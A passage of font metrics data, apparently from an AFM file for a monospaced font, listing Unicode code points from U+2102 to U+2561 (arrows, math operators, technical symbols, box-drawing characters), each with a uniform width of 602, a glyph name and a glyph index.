U 8450 ; WX 602 ; N uni2102 ; G 1829
U 8453 ; WX 602 ; N uni2105 ; G 1830
U 8461 ; WX 602 ; N uni210D ; G 1831
U 8462 ; WX 602 ; N uni210E ; G 1832
U 8463 ; WX 602 ; N uni210F ; G 1833
U 8469 ; WX 602 ; N uni2115 ; G 1834
U 8470 ; WX 602 ; N uni2116 ; G 1835
U 8471 ; WX 602 ; N uni2117 ; G 1836
U 8473 ; WX 602 ; N uni2119 ; G 1837
U 8474 ; WX 602 ; N uni211A ; G 1838
U 8477 ; WX 602 ; N uni211D ; G 1839
U 8482 ; WX 602 ; N trademark ; G 1840
U 8484 ; WX 602 ; N uni2124 ; G 1841
U 8486 ; WX 602 ; N uni2126 ; G 1842
U 8490 ; WX 602 ; N uni212A ; G 1843
U 8491 ; WX 602 ; N uni212B ; G 1844
U 8494 ; WX 602 ; N estimated ; G 1845
U 8520 ; WX 602 ; N uni2148 ; G 1846
U 8528 ; WX 602 ; N uni2150 ; G 1847
U 8529 ; WX 602 ; N uni2151 ; G 1848
U 8531 ; WX 602 ; N onethird ; G 1849
U 8532 ; WX 602 ; N twothirds ; G 1850
U 8533 ; WX 602 ; N uni2155 ; G 1851
U 8534 ; WX 602 ; N uni2156 ; G 1852
U 8535 ; WX 602 ; N uni2157 ; G 1853
U 8536 ; WX 602 ; N uni2158 ; G 1854
U 8537 ; WX 602 ; N uni2159 ; G 1855
U 8538 ; WX 602 ; N uni215A ; G 1856
U 8539 ; WX 602 ; N oneeighth ; G 1857
U 8540 ; WX 602 ; N threeeighths ; G 1858
U 8541 ; WX 602 ; N fiveeighths ; G 1859
U 8542 ; WX 602 ; N seveneighths ; G 1860
U 8543 ; WX 602 ; N uni215F ; G 1861
U 8585 ; WX 602 ; N uni2189 ; G 1862
U 8592 ; WX 602 ; N arrowleft ; G 1863
U 8593 ; WX 602 ; N arrowup ; G 1864
U 8594 ; WX 602 ; N arrowright ; G 1865
U 8595 ; WX 602 ; N arrowdown ; G 1866
U 8596 ; WX 602 ; N arrowboth ; G 1867
U 8597 ; WX 602 ; N arrowupdn ; G 1868
U 8598 ; WX 602 ; N uni2196 ; G 1869
U 8599 ; WX 602 ; N uni2197 ; G 1870
U 8600 ; WX 602 ; N uni2198 ; G 1871
U 8601 ; WX 602 ; N uni2199 ; G 1872
U 8602 ; WX 602 ; N uni219A ; G 1873
U 8603 ; WX 602 ; N uni219B ; G 1874
U 8604 ; WX 602 ; N uni219C ; G 1875
U 8605 ; WX 602 ; N uni219D ; G 1876
U 8606 ; WX 602 ; N uni219E ; G 1877
U 8607 ; WX 602 ; N uni219F ; G 1878
U 8608 ; WX 602 ; N uni21A0 ; G 1879
U 8609 ; WX 602 ; N uni21A1 ; G 1880
U 8610 ; WX 602 ; N uni21A2 ; G 1881
U 8611 ; WX 602 ; N uni21A3 ; G 1882
U 8612 ; WX 602 ; N uni21A4 ; G 1883
U 8613 ; WX 602 ; N uni21A5 ; G 1884
U 8614 ; WX 602 ; N uni21A6 ; G 1885
U 8615 ; WX 602 ; N uni21A7 ; G 1886
U 8616 ; WX 602 ; N arrowupdnbse ; G 1887
U 8617 ; WX 602 ; N uni21A9 ; G 1888
U 8618 ; WX 602 ; N uni21AA ; G 1889
U 8619 ; WX 602 ; N uni21AB ; G 1890
U 8620 ; WX 602 ; N uni21AC ; G 1891
U 8621 ; WX 602 ; N uni21AD ; G 1892
U 8622 ; WX 602 ; N uni21AE ; G 1893
U 8623 ; WX 602 ; N uni21AF ; G 1894
U 8624 ; WX 602 ; N uni21B0 ; G 1895
U 8625 ; WX 602 ; N uni21B1 ; G 1896
U 8626 ; WX 602 ; N uni21B2 ; G 1897
U 8627 ; WX 602 ; N uni21B3 ; G 1898
U 8628 ; WX 602 ; N uni21B4 ; G 1899
U 8629 ; WX 602 ; N carriagereturn ; G 1900
U 8630 ; WX 602 ; N uni21B6 ; G 1901
U 8631 ; WX 602 ; N uni21B7 ; G 1902
U 8632 ; WX 602 ; N uni21B8 ; G 1903
U 8633 ; WX 602 ; N uni21B9 ; G 1904
U 8634 ; WX 602 ; N uni21BA ; G 1905
U 8635 ; WX 602 ; N uni21BB ; G 1906
U 8636 ; WX 602 ; N uni21BC ; G 1907
U 8637 ; WX 602 ; N uni21BD ; G 1908
U 8638 ; WX 602 ; N uni21BE ; G 1909
U 8639 ; WX 602 ; N uni21BF ; G 1910
U 8640 ; WX 602 ; N uni21C0 ; G 1911
U 8641 ; WX 602 ; N uni21C1 ; G 1912
U 8642 ; WX 602 ; N uni21C2 ; G 1913
U 8643 ; WX 602 ; N uni21C3 ; G 1914
U 8644 ; WX 602 ; N uni21C4 ; G 1915
U 8645 ; WX 602 ; N uni21C5 ; G 1916
U 8646 ; WX 602 ; N uni21C6 ; G 1917
U 8647 ; WX 602 ; N uni21C7 ; G 1918
U 8648 ; WX 602 ; N uni21C8 ; G 1919
U 8649 ; WX 602 ; N uni21C9 ; G 1920
U 8650 ; WX 602 ; N uni21CA ; G 1921
U 8651 ; WX 602 ; N uni21CB ; G 1922
U 8652 ; WX 602 ; N uni21CC ; G 1923
U 8653 ; WX 602 ; N uni21CD ; G 1924
U 8654 ; WX 602 ; N uni21CE ; G 1925
U 8655 ; WX 602 ; N uni21CF ; G 1926
U 8656 ; WX 602 ; N arrowdblleft ; G 1927
U 8657 ; WX 602 ; N arrowdblup ; G 1928
U 8658 ; WX 602 ; N arrowdblright ; G 1929
U 8659 ; WX 602 ; N arrowdbldown ; G 1930
U 8660 ; WX 602 ; N arrowdblboth ; G 1931
U 8661 ; WX 602 ; N uni21D5 ; G 1932
U 8662 ; WX 602 ; N uni21D6 ; G 1933
U 8663 ; WX 602 ; N uni21D7 ; G 1934
U 8664 ; WX 602 ; N uni21D8 ; G 1935
U 8665 ; WX 602 ; N uni21D9 ; G 1936
U 8666 ; WX 602 ; N uni21DA ; G 1937
U 8667 ; WX 602 ; N uni21DB ; G 1938
U 8668 ; WX 602 ; N uni21DC ; G 1939
U 8669 ; WX 602 ; N uni21DD ; G 1940
U 8670 ; WX 602 ; N uni21DE ; G 1941
U 8671 ; WX 602 ; N uni21DF ; G 1942
U 8672 ; WX 602 ; N uni21E0 ; G 1943
U 8673 ; WX 602 ; N uni21E1 ; G 1944
U 8674 ; WX 602 ; N uni21E2 ; G 1945
U 8675 ; WX 602 ; N uni21E3 ; G 1946
U 8676 ; WX 602 ; N uni21E4 ; G 1947
U 8677 ; WX 602 ; N uni21E5 ; G 1948
U 8678 ; WX 602 ; N uni21E6 ; G 1949
U 8679 ; WX 602 ; N uni21E7 ; G 1950
U 8680 ; WX 602 ; N uni21E8 ; G 1951
U 8681 ; WX 602 ; N uni21E9 ; G 1952
U 8682 ; WX 602 ; N uni21EA ; G 1953
U 8683 ; WX 602 ; N uni21EB ; G 1954
U 8684 ; WX 602 ; N uni21EC ; G 1955
U 8685 ; WX 602 ; N uni21ED ; G 1956
U 8686 ; WX 602 ; N uni21EE ; G 1957
U 8687 ; WX 602 ; N uni21EF ; G 1958
U 8688 ; WX 602 ; N uni21F0 ; G 1959
U 8689 ; WX 602 ; N uni21F1 ; G 1960
U 8690 ; WX 602 ; N uni21F2 ; G 1961
U 8691 ; WX 602 ; N uni21F3 ; G 1962
U 8692 ; WX 602 ; N uni21F4 ; G 1963
U 8693 ; WX 602 ; N uni21F5 ; G 1964
U 8694 ; WX 602 ; N uni21F6 ; G 1965
U 8695 ; WX 602 ; N uni21F7 ; G 1966
U 8696 ; WX 602 ; N uni21F8 ; G 1967
U 8697 ; WX 602 ; N uni21F9 ; G 1968
U 8698 ; WX 602 ; N uni21FA ; G 1969
U 8699 ; WX 602 ; N uni21FB ; G 1970
U 8700 ; WX 602 ; N uni21FC ; G 1971
U 8701 ; WX 602 ; N uni21FD ; G 1972
U 8702 ; WX 602 ; N uni21FE ; G 1973
U 8703 ; WX 602 ; N uni21FF ; G 1974
U 8704 ; WX 602 ; N universal ; G 1975
U 8705 ; WX 602 ; N uni2201 ; G 1976
U 8706 ; WX 602 ; N partialdiff ; G 1977
U 8707 ; WX 602 ; N existential ; G 1978
U 8708 ; WX 602 ; N uni2204 ; G 1979
U 8709 ; WX 602 ; N emptyset ; G 1980
U 8710 ; WX 602 ; N increment ; G 1981
U 8711 ; WX 602 ; N gradient ; G 1982
U 8712 ; WX 602 ; N element ; G 1983
U 8713 ; WX 602 ; N notelement ; G 1984
U 8714 ; WX 602 ; N uni220A ; G 1985
U 8715 ; WX 602 ; N suchthat ; G 1986
U 8716 ; WX 602 ; N uni220C ; G 1987
U 8717 ; WX 602 ; N uni220D ; G 1988
U 8718 ; WX 602 ; N uni220E ; G 1989
U 8719 ; WX 602 ; N product ; G 1990
U 8720 ; WX 602 ; N uni2210 ; G 1991
U 8721 ; WX 602 ; N summation ; G 1992
U 8722 ; WX 602 ; N minus ; G 1993
U 8723 ; WX 602 ; N uni2213 ; G 1994
U 8725 ; WX 602 ; N uni2215 ; G 1995
U 8727 ; WX 602 ; N asteriskmath ; G 1996
U 8728 ; WX 602 ; N uni2218 ; G 1997
U 8729 ; WX 602 ; N uni2219 ; G 1998
U 8730 ; WX 602 ; N radical ; G 1999
U 8731 ; WX 602 ; N uni221B ; G 2000
U 8732 ; WX 602 ; N uni221C ; G 2001
U 8733 ; WX 602 ; N proportional ; G 2002
U 8734 ; WX 602 ; N infinity ; G 2003
U 8735 ; WX 602 ; N orthogonal ; G 2004
U 8736 ; WX 602 ; N angle ; G 2005
U 8739 ; WX 602 ; N uni2223 ; G 2006
U 8743 ; WX 602 ; N logicaland ; G 2007
U 8744 ; WX 602 ; N logicalor ; G 2008
U 8745 ; WX 602 ; N intersection ; G 2009
U 8746 ; WX 602 ; N union ; G 2010
U 8747 ; WX 602 ; N integral ; G 2011
U 8748 ; WX 602 ; N uni222C ; G 2012
U 8749 ; WX 602 ; N uni222D ; G 2013
U 8756 ; WX 602 ; N therefore ; G 2014
U 8757 ; WX 602 ; N uni2235 ; G 2015
U 8758 ; WX 602 ; N uni2236 ; G 2016
U 8759 ; WX 602 ; N uni2237 ; G 2017
U 8760 ; WX 602 ; N uni2238 ; G 2018
U 8761 ; WX 602 ; N uni2239 ; G 2019
U 8762 ; WX 602 ; N uni223A ; G 2020
U 8763 ; WX 602 ; N uni223B ; G 2021
U 8764 ; WX 602 ; N similar ; G 2022
U 8765 ; WX 602 ; N uni223D ; G 2023
U 8769 ; WX 602 ; N uni2241 ; G 2024
U 8770 ; WX 602 ; N uni2242 ; G 2025
U 8771 ; WX 602 ; N uni2243 ; G 2026
U 8772 ; WX 602 ; N uni2244 ; G 2027
U 8773 ; WX 602 ; N congruent ; G 2028
U 8774 ; WX 602 ; N uni2246 ; G 2029
U 8775 ; WX 602 ; N uni2247 ; G 2030
U 8776 ; WX 602 ; N approxequal ; G 2031
U 8777 ; WX 602 ; N uni2249 ; G 2032
U 8778 ; WX 602 ; N uni224A ; G 2033
U 8779 ; WX 602 ; N uni224B ; G 2034
U 8780 ; WX 602 ; N uni224C ; G 2035
U 8781 ; WX 602 ; N uni224D ; G 2036
U 8782 ; WX 602 ; N uni224E ; G 2037
U 8783 ; WX 602 ; N uni224F ; G 2038
U 8784 ; WX 602 ; N uni2250 ; G 2039
U 8785 ; WX 602 ; N uni2251 ; G 2040
U 8786 ; WX 602 ; N uni2252 ; G 2041
U 8787 ; WX 602 ; N uni2253 ; G 2042
U 8788 ; WX 602 ; N uni2254 ; G 2043
U 8789 ; WX 602 ; N uni2255 ; G 2044
U 8790 ; WX 602 ; N uni2256 ; G 2045
U 8791 ; WX 602 ; N uni2257 ; G 2046
U 8792 ; WX 602 ; N uni2258 ; G 2047
U 8793 ; WX 602 ; N uni2259 ; G 2048
U 8794 ; WX 602 ; N uni225A ; G 2049
U 8795 ; WX 602 ; N uni225B ; G 2050
U 8796 ; WX 602 ; N uni225C ; G 2051
U 8797 ; WX 602 ; N uni225D ; G 2052
U 8798 ; WX 602 ; N uni225E ; G 2053
U 8799 ; WX 602 ; N uni225F ; G 2054
U 8800 ; WX 602 ; N notequal ; G 2055
U 8801 ; WX 602 ; N equivalence ; G 2056
U 8802 ; WX 602 ; N uni2262 ; G 2057
U 8803 ; WX 602 ; N uni2263 ; G 2058
U 8804 ; WX 602 ; N lessequal ; G 2059
U 8805 ; WX 602 ; N greaterequal ; G 2060
U 8806 ; WX 602 ; N uni2266 ; G 2061
U 8807 ; WX 602 ; N uni2267 ; G 2062
U 8808 ; WX 602 ; N uni2268 ; G 2063
U 8809 ; WX 602 ; N uni2269 ; G 2064
U 8813 ; WX 602 ; N uni226D ; G 2065
U 8814 ; WX 602 ; N uni226E ; G 2066
U 8815 ; WX 602 ; N uni226F ; G 2067
U 8816 ; WX 602 ; N uni2270 ; G 2068
U 8817 ; WX 602 ; N uni2271 ; G 2069
U 8818 ; WX 602 ; N uni2272 ; G 2070
U 8819 ; WX 602 ; N uni2273 ; G 2071
U 8820 ; WX 602 ; N uni2274 ; G 2072
U 8821 ; WX 602 ; N uni2275 ; G 2073
U 8822 ; WX 602 ; N uni2276 ; G 2074
U 8823 ; WX 602 ; N uni2277 ; G 2075
U 8824 ; WX 602 ; N uni2278 ; G 2076
U 8825 ; WX 602 ; N uni2279 ; G 2077
U 8826 ; WX 602 ; N uni227A ; G 2078
U 8827 ; WX 602 ; N uni227B ; G 2079
U 8828 ; WX 602 ; N uni227C ; G 2080
U 8829 ; WX 602 ; N uni227D ; G 2081
U 8830 ; WX 602 ; N uni227E ; G 2082
U 8831 ; WX 602 ; N uni227F ; G 2083
U 8832 ; WX 602 ; N uni2280 ; G 2084
U 8833 ; WX 602 ; N uni2281 ; G 2085
U 8834 ; WX 602 ; N propersubset ; G 2086
U 8835 ; WX 602 ; N propersuperset ; G 2087
U 8836 ; WX 602 ; N notsubset ; G 2088
U 8837 ; WX 602 ; N uni2285 ; G 2089
U 8838 ; WX 602 ; N reflexsubset ; G 2090
U 8839 ; WX 602 ; N reflexsuperset ; G 2091
U 8840 ; WX 602 ; N uni2288 ; G 2092
U 8841 ; WX 602 ; N uni2289 ; G 2093
U 8842 ; WX 602 ; N uni228A ; G 2094
U 8843 ; WX 602 ; N uni228B ; G 2095
U 8845 ; WX 602 ; N uni228D ; G 2096
U 8846 ; WX 602 ; N uni228E ; G 2097
U 8847 ; WX 602 ; N uni228F ; G 2098
U 8848 ; WX 602 ; N uni2290 ; G 2099
U 8849 ; WX 602 ; N uni2291 ; G 2100
U 8850 ; WX 602 ; N uni2292 ; G 2101
U 8851 ; WX 602 ; N uni2293 ; G 2102
U 8852 ; WX 602 ; N uni2294 ; G 2103
U 8853 ; WX 602 ; N circleplus ; G 2104
U 8854 ; WX 602 ; N uni2296 ; G 2105
U 8855 ; WX 602 ; N circlemultiply ; G 2106
U 8856 ; WX 602 ; N uni2298 ; G 2107
U 8857 ; WX 602 ; N uni2299 ; G 2108
U 8858 ; WX 602 ; N uni229A ; G 2109
U 8859 ; WX 602 ; N uni229B ; G 2110
U 8860 ; WX 602 ; N uni229C ; G 2111
U 8861 ; WX 602 ; N uni229D ; G 2112
U 8862 ; WX 602 ; N uni229E ; G 2113
U 8863 ; WX 602 ; N uni229F ; G 2114
U 8864 ; WX 602 ; N uni22A0 ; G 2115
U 8865 ; WX 602 ; N uni22A1 ; G 2116
U 8866 ; WX 602 ; N uni22A2 ; G 2117
U 8867 ; WX 602 ; N uni22A3 ; G 2118
U 8868 ; WX 602 ; N uni22A4 ; G 2119
U 8869 ; WX 602 ; N perpendicular ; G 2120
U 8882 ; WX 602 ; N uni22B2 ; G 2121
U 8883 ; WX 602 ; N uni22B3 ; G 2122
U 8884 ; WX 602 ; N uni22B4 ; G 2123
U 8885 ; WX 602 ; N uni22B5 ; G 2124
U 8888 ; WX 602 ; N uni22B8 ; G 2125
U 8898 ; WX 602 ; N uni22C2 ; G 2126
U 8899 ; WX 602 ; N uni22C3 ; G 2127
U 8900 ; WX 602 ; N uni22C4 ; G 2128
U 8901 ; WX 602 ; N dotmath ; G 2129
U 8902 ; WX 602 ; N uni22C6 ; G 2130
U 8909 ; WX 602 ; N uni22CD ; G 2131
U 8910 ; WX 602 ; N uni22CE ; G 2132
U 8911 ; WX 602 ; N uni22CF ; G 2133
U 8912 ; WX 602 ; N uni22D0 ; G 2134
U 8913 ; WX 602 ; N uni22D1 ; G 2135
U 8922 ; WX 602 ; N uni22DA ; G 2136
U 8923 ; WX 602 ; N uni22DB ; G 2137
U 8924 ; WX 602 ; N uni22DC ; G 2138
U 8925 ; WX 602 ; N uni22DD ; G 2139
U 8926 ; WX 602 ; N uni22DE ; G 2140
U 8927 ; WX 602 ; N uni22DF ; G 2141
U 8928 ; WX 602 ; N uni22E0 ; G 2142
U 8929 ; WX 602 ; N uni22E1 ; G 2143
U 8930 ; WX 602 ; N uni22E2 ; G 2144
U 8931 ; WX 602 ; N uni22E3 ; G 2145
U 8932 ; WX 602 ; N uni22E4 ; G 2146
U 8933 ; WX 602 ; N uni22E5 ; G 2147
U 8934 ; WX 602 ; N uni22E6 ; G 2148
U 8935 ; WX 602 ; N uni22E7 ; G 2149
U 8936 ; WX 602 ; N uni22E8 ; G 2150
U 8937 ; WX 602 ; N uni22E9 ; G 2151
U 8943 ; WX 602 ; N uni22EF ; G 2152
U 8960 ; WX 602 ; N uni2300 ; G 2153
U 8961 ; WX 602 ; N uni2301 ; G 2154
U 8962 ; WX 602 ; N house ; G 2155
U 8963 ; WX 602 ; N uni2303 ; G 2156
U 8964 ; WX 602 ; N uni2304 ; G 2157
U 8965 ; WX 602 ; N uni2305 ; G 2158
U 8966 ; WX 602 ; N uni2306 ; G 2159
U 8968 ; WX 602 ; N uni2308 ; G 2160
U 8969 ; WX 602 ; N uni2309 ; G 2161
U 8970 ; WX 602 ; N uni230A ; G 2162
U 8971 ; WX 602 ; N uni230B ; G 2163
U 8972 ; WX 602 ; N uni230C ; G 2164
U 8973 ; WX 602 ; N uni230D ; G 2165
U 8974 ; WX 602 ; N uni230E ; G 2166
U 8975 ; WX 602 ; N uni230F ; G 2167
U 8976 ; WX 602 ; N revlogicalnot ; G 2168
U 8977 ; WX 602 ; N uni2311 ; G 2169
U 8978 ; WX 602 ; N uni2312 ; G 2170
U 8979 ; WX 602 ; N uni2313 ; G 2171
U 8980 ; WX 602 ; N uni2314 ; G 2172
U 8981 ; WX 602 ; N uni2315 ; G 2173
U 8984 ; WX 602 ; N uni2318 ; G 2174
U 8985 ; WX 602 ; N uni2319 ; G 2175
U 8988 ; WX 602 ; N uni231C ; G 2176
U 8989 ; WX 602 ; N uni231D ; G 2177
U 8990 ; WX 602 ; N uni231E ; G 2178
U 8991 ; WX 602 ; N uni231F ; G 2179
U 8992 ; WX 602 ; N integraltp ; G 2180
U 8993 ; WX 602 ; N integralbt ; G 2181
U 8997 ; WX 602 ; N uni2325 ; G 2182
U 8998 ; WX 602 ; N uni2326 ; G 2183
U 8999 ; WX 602 ; N uni2327 ; G 2184
U 9000 ; WX 602 ; N uni2328 ; G 2185
U 9003 ; WX 602 ; N uni232B ; G 2186
U 9013 ; WX 602 ; N uni2335 ; G 2187
U 9014 ; WX 602 ; N uni2336 ; G 2188
U 9015 ; WX 602 ; N uni2337 ; G 2189
U 9016 ; WX 602 ; N uni2338 ; G 2190
U 9017 ; WX 602 ; N uni2339 ; G 2191
U 9018 ; WX 602 ; N uni233A ; G 2192
U 9019 ; WX 602 ; N uni233B ; G 2193
U 9020 ; WX 602 ; N uni233C ; G 2194
U 9021 ; WX 602 ; N uni233D ; G 2195
U 9022 ; WX 602 ; N uni233E ; G 2196
U 9023 ; WX 602 ; N uni233F ; G 2197
U 9024 ; WX 602 ; N uni2340 ; G 2198
U 9025 ; WX 602 ; N uni2341 ; G 2199
U 9026 ; WX 602 ; N uni2342 ; G 2200
U 9027 ; WX 602 ; N uni2343 ; G 2201
U 9028 ; WX 602 ; N uni2344 ; G 2202
U 9029 ; WX 602 ; N uni2345 ; G 2203
U 9030 ; WX 602 ; N uni2346 ; G 2204
U 9031 ; WX 602 ; N uni2347 ; G 2205
U 9032 ; WX 602 ; N uni2348 ; G 2206
U 9033 ; WX 602 ; N uni2349 ; G 2207
U 9034 ; WX 602 ; N uni234A ; G 2208
U 9035 ; WX 602 ; N uni234B ; G 2209
U 9036 ; WX 602 ; N uni234C ; G 2210
U 9037 ; WX 602 ; N uni234D ; G 2211
U 9038 ; WX 602 ; N uni234E ; G 2212
U 9039 ; WX 602 ; N uni234F ; G 2213
U 9040 ; WX 602 ; N uni2350 ; G 2214
U 9041 ; WX 602 ; N uni2351 ; G 2215
U 9042 ; WX 602 ; N uni2352 ; G 2216
U 9043 ; WX 602 ; N uni2353 ; G 2217
U 9044 ; WX 602 ; N uni2354 ; G 2218
U 9045 ; WX 602 ; N uni2355 ; G 2219
U 9046 ; WX 602 ; N uni2356 ; G 2220
U 9047 ; WX 602 ; N uni2357 ; G 2221
U 9048 ; WX 602 ; N uni2358 ; G 2222
U 9049 ; WX 602 ; N uni2359 ; G 2223
U 9050 ; WX 602 ; N uni235A ; G 2224
U 9051 ; WX 602 ; N uni235B ; G 2225
U 9052 ; WX 602 ; N uni235C ; G 2226
U 9053 ; WX 602 ; N uni235D ; G 2227
U 9054 ; WX 602 ; N uni235E ; G 2228
U 9055 ; WX 602 ; N uni235F ; G 2229
U 9056 ; WX 602 ; N uni2360 ; G 2230
U 9057 ; WX 602 ; N uni2361 ; G 2231
U 9058 ; WX 602 ; N uni2362 ; G 2232
U 9059 ; WX 602 ; N uni2363 ; G 2233
U 9060 ; WX 602 ; N uni2364 ; G 2234
U 9061 ; WX 602 ; N uni2365 ; G 2235
U 9062 ; WX 602 ; N uni2366 ; G 2236
U 9063 ; WX 602 ; N uni2367 ; G 2237
U 9064 ; WX 602 ; N uni2368 ; G 2238
U 9065 ; WX 602 ; N uni2369 ; G 2239
U 9066 ; WX 602 ; N uni236A ; G 2240
U 9067 ; WX 602 ; N uni236B ; G 2241
U 9068 ; WX 602 ; N uni236C ; G 2242
U 9069 ; WX 602 ; N uni236D ; G 2243
U 9070 ; WX 602 ; N uni236E ; G 2244
U 9071 ; WX 602 ; N uni236F ; G 2245
U 9072 ; WX 602 ; N uni2370 ; G 2246
U 9073 ; WX 602 ; N uni2371 ; G 2247
U 9074 ; WX 602 ; N uni2372 ; G 2248
U 9075 ; WX 602 ; N uni2373 ; G 2249
U 9076 ; WX 602 ; N uni2374 ; G 2250
U 9077 ; WX 602 ; N uni2375 ; G 2251
U 9078 ; WX 602 ; N uni2376 ; G 2252
U 9079 ; WX 602 ; N uni2377 ; G 2253
U 9080 ; WX 602 ; N uni2378 ; G 2254
U 9081 ; WX 602 ; N uni2379 ; G 2255
U 9082 ; WX 602 ; N uni237A ; G 2256
U 9085 ; WX 602 ; N uni237D ; G 2257
U 9088 ; WX 602 ; N uni2380 ; G 2258
U 9089 ; WX 602 ; N uni2381 ; G 2259
U 9090 ; WX 602 ; N uni2382 ; G 2260
U 9091 ; WX 602 ; N uni2383 ; G 2261
U 9096 ; WX 602 ; N uni2388 ; G 2262
U 9097 ; WX 602 ; N uni2389 ; G 2263
U 9098 ; WX 602 ; N uni238A ; G 2264
U 9099 ; WX 602 ; N uni238B ; G 2265
U 9109 ; WX 602 ; N uni2395 ; G 2266
U 9115 ; WX 602 ; N uni239B ; G 2267
U 9116 ; WX 602 ; N uni239C ; G 2268
U 9117 ; WX 602 ; N uni239D ; G 2269
U 9118 ; WX 602 ; N uni239E ; G 2270
U 9119 ; WX 602 ; N uni239F ; G 2271
U 9120 ; WX 602 ; N uni23A0 ; G 2272
U 9121 ; WX 602 ; N uni23A1 ; G 2273
U 9122 ; WX 602 ; N uni23A2 ; G 2274
U 9123 ; WX 602 ; N uni23A3 ; G 2275
U 9124 ; WX 602 ; N uni23A4 ; G 2276
U 9125 ; WX 602 ; N uni23A5 ; G 2277
U 9126 ; WX 602 ; N uni23A6 ; G 2278
U 9127 ; WX 602 ; N uni23A7 ; G 2279
U 9128 ; WX 602 ; N uni23A8 ; G 2280
U 9129 ; WX 602 ; N uni23A9 ; G 2281
U 9130 ; WX 602 ; N uni23AA ; G 2282
U 9131 ; WX 602 ; N uni23AB ; G 2283
U 9132 ; WX 602 ; N uni23AC ; G 2284
U 9133 ; WX 602 ; N uni23AD ; G 2285
U 9134 ; WX 602 ; N uni23AE ; G 2286
U 9166 ; WX 602 ; N uni23CE ; G 2287
U 9167 ; WX 602 ; N uni23CF ; G 2288
U 9251 ; WX 602 ; N uni2423 ; G 2289
U 9472 ; WX 602 ; N SF100000 ; G 2290
U 9473 ; WX 602 ; N uni2501 ; G 2291
U 9474 ; WX 602 ; N SF110000 ; G 2292
U 9475 ; WX 602 ; N uni2503 ; G 2293
U 9476 ; WX 602 ; N uni2504 ; G 2294
U 9477 ; WX 602 ; N uni2505 ; G 2295
U 9478 ; WX 602 ; N uni2506 ; G 2296
U 9479 ; WX 602 ; N uni2507 ; G 2297
U 9480 ; WX 602 ; N uni2508 ; G 2298
U 9481 ; WX 602 ; N uni2509 ; G 2299
U 9482 ; WX 602 ; N uni250A ; G 2300
U 9483 ; WX 602 ; N uni250B ; G 2301
U 9484 ; WX 602 ; N SF010000 ; G 2302
U 9485 ; WX 602 ; N uni250D ; G 2303
U 9486 ; WX 602 ; N uni250E ; G 2304
U 9487 ; WX 602 ; N uni250F ; G 2305
U 9488 ; WX 602 ; N SF030000 ; G 2306
U 9489 ; WX 602 ; N uni2511 ; G 2307
U 9490 ; WX 602 ; N uni2512 ; G 2308
U 9491 ; WX 602 ; N uni2513 ; G 2309
U 9492 ; WX 602 ; N SF020000 ; G 2310
U 9493 ; WX 602 ; N uni2515 ; G 2311
U 9494 ; WX 602 ; N uni2516 ; G 2312
U 9495 ; WX 602 ; N uni2517 ; G 2313
U 9496 ; WX 602 ; N SF040000 ; G 2314
U 9497 ; WX 602 ; N uni2519 ; G 2315
U 9498 ; WX 602 ; N uni251A ; G 2316
U 9499 ; WX 602 ; N uni251B ; G 2317
U 9500 ; WX 602 ; N SF080000 ; G 2318
U 9501 ; WX 602 ; N uni251D ; G 2319
U 9502 ; WX 602 ; N uni251E ; G 2320
U 9503 ; WX 602 ; N uni251F ; G 2321
U 9504 ; WX 602 ; N uni2520 ; G 2322
U 9505 ; WX 602 ; N uni2521 ; G 2323
U 9506 ; WX 602 ; N uni2522 ; G 2324
U 9507 ; WX 602 ; N uni2523 ; G 2325
U 9508 ; WX 602 ; N SF090000 ; G 2326
U 9509 ; WX 602 ; N uni2525 ; G 2327
U 9510 ; WX 602 ; N uni2526 ; G 2328
U 9511 ; WX 602 ; N uni2527 ; G 2329
U 9512 ; WX 602 ; N uni2528 ; G 2330
U 9513 ; WX 602 ; N uni2529 ; G 2331
U 9514 ; WX 602 ; N uni252A ; G 2332
U 9515 ; WX 602 ; N uni252B ; G 2333
U 9516 ; WX 602 ; N SF060000 ; G 2334
U 9517 ; WX 602 ; N uni252D ; G 2335
U 9518 ; WX 602 ; N uni252E ; G 2336
U 9519 ; WX 602 ; N uni252F ; G 2337
U 9520 ; WX 602 ; N uni2530 ; G 2338
U 9521 ; WX 602 ; N uni2531 ; G 2339
U 9522 ; WX 602 ; N uni2532 ; G 2340
U 9523 ; WX 602 ; N uni2533 ; G 2341
U 9524 ; WX 602 ; N SF070000 ; G 2342
U 9525 ; WX 602 ; N uni2535 ; G 2343
U 9526 ; WX 602 ; N uni2536 ; G 2344
U 9527 ; WX 602 ; N uni2537 ; G 2345
U 9528 ; WX 602 ; N uni2538 ; G 2346
U 9529 ; WX 602 ; N uni2539 ; G 2347
U 9530 ; WX 602 ; N uni253A ; G 2348
U 9531 ; WX 602 ; N uni253B ; G 2349
U 9532 ; WX 602 ; N SF050000 ; G 2350
U 9533 ; WX 602 ; N uni253D ; G 2351
U 9534 ; WX 602 ; N uni253E ; G 2352
U 9535 ; WX 602 ; N uni253F ; G 2353
U 9536 ; WX 602 ; N uni2540 ; G 2354
U 9537 ; WX 602 ; N uni2541 ; G 2355
U 9538 ; WX 602 ; N uni2542 ; G 2356
U 9539 ; WX 602 ; N uni2543 ; G 2357
U 9540 ; WX 602 ; N uni2544 ; G 2358
U 9541 ; WX 602 ; N uni2545 ; G 2359
U 9542 ; WX 602 ; N uni2546 ; G 2360
U 9543 ; WX 602 ; N uni2547 ; G 2361
U 9544 ; WX 602 ; N uni2548 ; G 2362
U 9545 ; WX 602 ; N uni2549 ; G 2363
U 9546 ; WX 602 ; N uni254A ; G 2364
U 9547 ; WX 602 ; N uni254B ; G 2365
U 9548 ; WX 602 ; N uni254C ; G 2366
U 9549 ; WX 602 ; N uni254D ; G 2367
U 9550 ; WX 602 ; N uni254E ; G 2368
U 9551 ; WX 602 ; N uni254F ; G 2369
U 9552 ; WX 602 ; N SF430000 ; G 2370
U 9553 ; WX 602 ; N SF240000 ; G 2371
U 9554 ; WX 602 ; N SF510000 ; G 2372
U 9555 ; WX 602 ; N SF520000 ; G 2373
U 9556 ; WX 602 ; N SF390000 ; G 2374
U 9557 ; WX 602 ; N SF220000 ; G 2375
U 9558 ; WX 602 ; N SF210000 ; G 2376
U 9559 ; WX 602 ; N SF250000 ; G 2377
U 9560 ; WX 602 ; N SF500000 ; G 2378
U 9561 ; WX 602 ; N SF490000 ; G 2379
U 9562 ; WX 602 ; N SF380000 ; G 2380
U 9563 ; WX 602 ; N SF280000 ; G 2381
U 9564 ; WX 602 ; N SF270000 ; G 2382
U 9565 ; WX 602 ; N SF260000 ; G 2383
U 9566 ; WX 602 ; N SF360000 ; G 2384
U 9567 ; WX 602 ; N SF370000 ; G 2385
U 9568 ; WX 602 ; N SF420000 ; G 2386
U 9569 ; WX 602 ; N SF190000 ; G 2387
